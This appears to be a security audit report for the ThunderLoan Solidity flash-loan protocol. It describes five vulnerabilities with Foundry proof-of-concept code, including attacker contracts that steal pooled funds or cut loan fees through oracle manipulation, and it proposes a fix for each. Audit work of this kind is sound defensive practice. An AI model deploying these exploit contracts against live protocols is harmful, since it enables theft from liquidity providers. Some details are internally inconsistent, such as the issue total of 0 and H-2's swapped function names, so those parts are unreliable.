ThunderLoan Audit Report

Version 1.0

September 23, 2024

ThunderLoan Audit Report

Nanachiki

September 23, 2024

Lead Auditors: - Nanachiki

Table of Contents

- Medium
  - [M-1] Using TSwap as an oracle allows malicious users to reduce fees by manipulating the price of a token
  - [M-2] Users cannot use the `ThunderLoan::repay` function to repay while taking another flash loan

Protocol Summary

The ThunderLoan protocol is a decentralized exchange (DEX) that allows users to earn profits by providing liquidity. In return, liquidity providers who deposited tokens receive assetTokens based on the exchange rate for the amount deposited. These AssetTokens accrue interest over time. The protocol also enables users to borrow assets through flash loans, provided they repay the loan, along with fees, within the same transaction.

Disclaimer

The Nanachiki team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document corresponded the following commit hash:

```
8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC (proxy) (6 decimals)
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	0
Info	0
Total	0

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes the protocol to think it has more fees than it really does, which blocks the redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updates this rate, without collecting any fees!

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7          // @audit high we've got em!!!
8  @>      uint256 calculatedFee = getCalculatedFee(token, amount);
9  @>      assetToken.updateExchangeRate(calculatedFee);
10         token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
11     }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owned tokens is more than it has.

2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits.
2. User takes out a flash loan.
3. It is now impossible for LP to redeem.

Proof of Code

Place the following into `ThunderLoanTest.t.sol`.

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from `deposit`.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-2] Using the `deposit` function instead of the `repay` function during a flash loan allows users to steal assets

Description: In the `flashloan` function, `endingBalance` is calculated based on the ending balance of tokens in the `assetToken` contract and then compared to the sum of `startingBalance` and `fee`. Because of this, users can repay assets using the `repay` function instead of the `deposit` function during a flash loan, which allows them to steal the borrowed assets via the `redeem` function.

Impact: Malicious users can take advantage of flash loans to steal all the assets of the protocol.

Proof of Concept:

1. A user takes a flash loan for `50e18` of tokenA.
2. The user simply repays the assets and fees using the `deposit` function instead of `repay` while executing the `executeOperation` function.
3. The user then withdraws the assets by calling, for example, the `redeemMoney` function, which is set up to redeem assets in the `FlashLoanReceiver` contract.

Proof of Code

Place the following into `ThunderLoanTest.t.sol`.

```
function testDepositInsteadOfRepayToStealFunds() public setAllowedToken
    hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
            ));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
            ;
        dor.redeemMoney();
        vm.stopPrank();

        assertEq(tokenA.balanceOf(address(dor)), amountToBorrow + fee);
    }
```

```
contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }
```

```
9
10      function executeOperation(
11          address token,
12          uint256 amount,
13          uint256 fee,
14          address,
15          bytes calldata
16      )
17          external
18          returns (bool)
19      {
20          s_token = IERC20(token);
21          assetToken = thunderLoan.getAssetFromToken(IERC20(token));
22          s_token.approve(address(thunderLoan), amount + fee);
23          thunderLoan.deposit(IERC20(token), amount + fee);
24          return true;
25      }
26
27      function redeemMoney() public {
28          uint256 amount = assetToken.balanceOf(address(this));
29          thunderLoan.redeem(s_token, amount);
30      }
31  }
```

Recommended Mitigation: Add a check in `deposit()` to make it impossible to use it in the same block of the flash loan. For example registering the `block.number` in a variable in `flashloan()` and checking it `deposit()`.

[H-3] Upgrading `ThunderLoan` to `ThunderLoanUpgraded` causes storage collisions, resulting in `ThunderLoan::s_flashLoanFee` having incorrect values

Description: Before the upgrade, the value of `s_feePrecision` was assigned to storage slot 2, and the value of `s_flashLoanFee` was in storage slot 3.

```
1       uint256 private s_feePrecision;
2       uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, after the upgrade, the position of the `s_flashLoanFee` variable was moved to storage slot 2, and the `s_currentlyFlashLoaning` mapping started in storage slot 3 by removing the `s_feePrecision` variable from storage and making it a constant.

```
1       uint256 private s_flashLoanFee; // 0.3% ETH fee
2       uint256 public constant FEE_PRECISION = 1e18;
```

Due to how solidity storage works, the `s_flashLoanFee` variable will end up having the value of `s_feePrecision`.

In addition to this, the `currentlyFlashLoaning` mapping will start in the wrong storage slot.

Impact: After the upgrade, `s_flashLoanFee` will take on the value of `s_feePrecision`, meaning users who take out flash loans will be charged the incorrect fee immediately after the upgrade.

Proof of Concept:

1. Import the `ThunderLoanUpgraded` contract into `ThunderLoanTest.t.sol`.
2. Retrieve the fee amount before the upgrade and assign it to the `feeBeforeUpgrade` variable.
3. Deploy the `ThunderLoanUpgraded` contract and upgrade to it as the new implementation contract.
4. Retrieve the fee amount after the upgrade and assign it to the `feeAfterUpgrade` variable.
5. Assert that the two amounts are not the same.

PoC

Add the following into `ThunderLoanTest.t.sol`.

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
.
.
.
function testStorageCollision() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();

        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console.log("Fee Before Upgrade: %e", feeBeforeUpgrade);
        console.log("Fee After Upgrade: %e", feeAfterUpgrade);

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`.

Recommended Mitigation: If you must remove the variable from storage, it's better to leave it as a blank as to not mess up storage slots.

```
-   uint256 private s_flashLoanFee; // 0.3% ETH fee
-   uint256 public constant FEE_PRECISION = 1e18;
+   uint256 private s_blank;
+   uint256 private s_flashLoanFee; // 0.3% ETH fee
+   uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as an oracle allows malicious users to reduce fees by manipulating the price of a token

Description: TSwap uses a constant product formula based on an AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, malicious users can easily manipulate the price by selling or buying a large amount of the token in a single transaction, effectively bypassing protocol fees.

Impact: Users will be able to drastically reduce the fees charged for a flash loan.

Proof of Concept:

The following all happens in 1 transaction.

1. A user takes a flash loan from `ThunderLoan` for 1000 `tokenA`. The user is charged the original fee, `feeOne`, and caries out the following actions during the flash loan:
    1. Sells the borrowed tokenA, causing the price to tank.
    2. Instead of repaying immediately, the user takes another flash loan for an additional 1000 `tokenA`;
2. Due to the way `ThunderLoan` calculates the token price based on the `TSwap` pool, this second flash loan is substantially cheaper.

```
function getPriceInWeth(address token) public view returns (uint256) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
            token);
        return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
            ();
    }
```

3. The user then repays the first flash loan, followed by repaying the second flash loan.

Proof of Code

```
function testPriceAndOracleManipulation() public {
        // 1. Set up contracts
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        address tswap = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));
```

```
10
11          // 2. Deposits tokens into the pool
12          vm.startPrank(address(liquidityProvider));
13          tokenA.mint(address(liquidityProvider), 100e18);
14          tokenA.approve(address(tswap), 100e18);
15          weth.mint(address(liquidityProvider), 100e18);
16          weth.approve(address(tswap), 100e18);
17          BuffMockTSwap(tswap).deposit(100e18, 100e18, 100e18, block.
                timestamp);
18          vm.stopPrank();
19
20          // Calculate the normal fee cost before manipulating the token
                price
21          uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
                2000e18);
22          console.log("The fee cost before manipulating the token price:
                %e", normalFeeCost);
23
24          // 3. Deposits tokens into the ThunderLoan contract
25          vm.prank(thunderLoan.owner());
26          thunderLoan.setAllowedToken(tokenA, true);
27
28          vm.startPrank(liquidityProvider);
29          tokenA.mint(address(liquidityProvider), 2000e18);
30          tokenA.approve(address(thunderLoan), 2000e18);
31          thunderLoan.deposit(tokenA, 2000e18);
32          vm.stopPrank();
33
34          // 4. A malicious user takes a flash loan, sells the borrowed
                tokenA, tanks the price, and takes another flash
35          // loan during the first one to reduce fees
36          MaliciousFlashLoanReceiver mfr = new MaliciousFlashLoanReceiver
                (
37              address(thunderLoan), address(tswap), address(thunderLoan.
                    getAssetFromToken(tokenA))
38          );
39
40          vm.startPrank(user);
41          tokenA.mint(address(mfr), 1500e18);
42          thunderLoan.flashloan(address(mfr), tokenA, 1000e18, "");
43
44          uint256 manipulatedFeeCost = mfr.feeOne() + mfr.feeTwo();
45          console.log("The fee cost after manipulating the token price: %
                e", manipulatedFeeCost);
46          // The malicious user reduced fees
47          assert(manipulatedFeeCost < normalFeeCost);
48      }
```

This is the FlashLoanReceiver contract that performs malicious actions.

```
1  contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
```

```
    ThunderLoan thunderLoan;
    BuffMockTSwap tswap;
    address repayAddress;
    bool attacked;

    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address _thunderLoan, address _tswap, address
        _repayAddress) {
        thunderLoan = ThunderLoan(_thunderLoan);
        tswap = BuffMockTSwap(_tswap);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            attacked = true;

            // Sells the borrowed amount on TSwap
            uint256 wethBought = tswap.getOutputAmountBasedOnInput(
                amount, IERC20(token).balanceOf(address(tswap)), IERC20
                    (tswap.getWeth()).balanceOf(address(tswap))
            );
            IERC20(token).approve(address(tswap), amount);
            tswap.swapPoolTokenForWethBasedOnInputPoolToken(amount,
                wethBought, block.timestamp);

            // Takes a second flash loan
            thunderLoan.flashloan(address(this), IERC20(token), amount,
                "");

            // Repay
            IERC20(token).approve(repayAddress, amount + fee);
            IERC20(token).transfer(repayAddress, amount + fee);
        } else {
            feeTwo = fee;
            IERC20(token).approve(repayAddress, amount + fee);
            IERC20(token).transfer(repayAddress, amount + fee);
        }

```

```
49            return true;
50        }
51    }
```

Recommended Mitigation: Consider using a different oracle mechanism, like a ChainLink price feed with a Uniswap TSWAP fallback oracle.

[M-2] Users cannot use the `ThunderLoan::repay` function to repay while taking another flash loan

Description: When users take flash loans, the `ThunderLoan::s_currentlyFlashLoaning` mapping for the token is set to true. While this is true, they can use the `repay` function to repay the borrowed assets. After repayment, `s_currentlyFlashLoaning` is set back to false, which is its default state. However, since the `repay` function only works when `s_currentlyFlashLoaning` is true, this prevents users from taking and repaying flash loans while already in the process of another flash loan.

Impact: Users cannot repay the borrowed assets using the `repay` function while another flash loan is being taken, even though this function is intended for repayment.

Proof of Concept:

1. Deploy the FlashLoanReceiver contract to receive the borrowed assets.
2. A user takes a first flash loan of `500e18` in tokenA.
3. While `executedOperation` in the `FlashLoanReceiver` contract is being executed, this contract initiates the second flash loan of `500e18` in tokenA.
4. Repay the second loan with fees, resetting `s_currentlyFlashLoaning` to **`false`**.
5. Since `s_currentlyFlashLoaning` is now false, the repayment for the first loan will be reverted.

PoC

You can test this with `forge test --mt testCantRepayFundsDuringFlashLoan -vv` in `ThunderLoanTest.t.sol`.

```
1  function testCantRepayFundsDuringFlashLoan() public setAllowedToken
       hasDeposits {
2          uint256 amountToBorrow = 500e18;
3
4          // Deploy a FlashLoanReceiver contract
5          FlashLoanReceiver flr = new FlashLoanReceiver(address(
               thunderLoan));
6
7          // Take a first flash loan
```

```
        vm.startPrank(user);
        tokenA.mint(address(flr), amountToBorrow);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
            ;
    }
```

This is the `FlashLoanReceiver` contract that receives the borrowed assets.

```
contract FlashLoanReceiver is IFlashLoanReceiver {
    using SafeERC20 for IERC20;

    address s_thunderLoan;
    uint256 s_balanceDuringFlashLoan;
    uint256 s_balanceAfterFlashLoan;

    bool s_currentlyFlashLoaning;

    constructor(address thunderLoan) {
        s_thunderLoan = thunderLoan;
        s_balanceDuringFlashLoan = 0;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator */
        bytes calldata /* params */
    )
        external
        returns (bool)
    {
        s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this
            ));

        if (!s_currentlyFlashLoaning) {
            s_currentlyFlashLoaning = true;

            // Taking the second flash loan during the first loan
            IERC20(token).approve(s_thunderLoan, amount);
            ThunderLoan(s_thunderLoan).flashloan(address(this), IERC20(
                token), amount, "");

            // Repaying for the first loan will be reverted since
                s_currentlyFlashLoaning[token] was set to false during
                the second loan
            IERC20(token).approve(s_thunderLoan, amount + fee);
            ThunderLoan(s_thunderLoan).repay(IERC20(token), amount +
                fee);
        } else {
            IERC20(token).approve(s_thunderLoan, amount + fee);
```

```
39              ThunderLoan(s_thunderLoan).repay(IERC20(token), amount +
                    fee);
40          }
41
42          s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)
                );
43
44          return true;
45      }
46
47      function getBalanceDuring() external view returns (uint256) {
48          return s_balanceDuringFlashLoan;
49      }
50
51      function getBalanceAfter() external view returns (uint256) {
52          return s_balanceAfterFlashLoan;
53      }
54  }
```

Recommended Mitigation: Although users can directly use the IERC20 transfer without the `repay` function, if you want retain the need for this function, you should remove the check for `s_currentlyFlashLoaning`. Instead, add the modifiers `revertIfZero()` and `revertIfNotAllowedToken()` to ensure the token being repaid has a non-zero amount and that a valid token address is used.

```
1  +            function repay(IERC20 token, uint256 amount) public
       revertIfZero revertIfNotAllowedToken {
2  -                    if (!s_currentlyFlashLoaning[token]) {
3  -                        revert ThunderLoan__NotCurrentlyFlashLoaning()
       ;
4  -                    }
5                       AssetToken assetToken = s_tokenToAssetToken[token];
6                       token.safeTransferFrom(msg.sender, address(
                            assetToken), amount);
7              }
```